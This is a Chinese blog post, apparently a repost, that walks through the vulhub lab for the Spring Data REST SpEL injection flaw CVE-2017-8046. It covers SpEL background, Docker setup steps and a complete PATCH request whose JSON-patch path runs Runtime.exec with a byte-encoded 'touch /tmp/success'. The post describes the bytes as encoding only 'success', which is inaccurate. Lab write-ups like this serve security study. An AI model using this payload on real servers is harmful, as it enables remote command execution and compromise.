您的位置:首页 > 教育 > 锐评 > 【vulhub靶场之spring】——

【vulhub靶场之spring】——

2025/5/8 19:05:57 来源:https://blog.csdn.net/weixin_57240513/article/details/140998989  浏览:    关键词:【vulhub靶场之spring】——

简介:


Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring ExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个SpringCVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等
SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下:


1.表达式:可以认为就是传入的字符串内容,
2.解析器:将字符串解析为表达式内容;
3.上下文:表达式对象执行的环境;
4.根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。

第一步:打开环境

cd /vulhub/spring/CVE-2017-8046
docker-compose up -d
docker-compose ps

访问ip的8080端口,看到spring框架的特征,也就是他的图标。

访问:http://your-ip:8080/customers/1 ,

第二步:抓包,使用PATCH请求

将GET数据包替换为下方的PATCH数据包发送。

PATCH /customers/1 HTTP/1.1
Host: 43.136.68.40:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193[{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub"}]

new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}就是编码后的success

第三步:在靶机上查看有没有上传成功。

可以看到上传到了此靶场的容器中。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com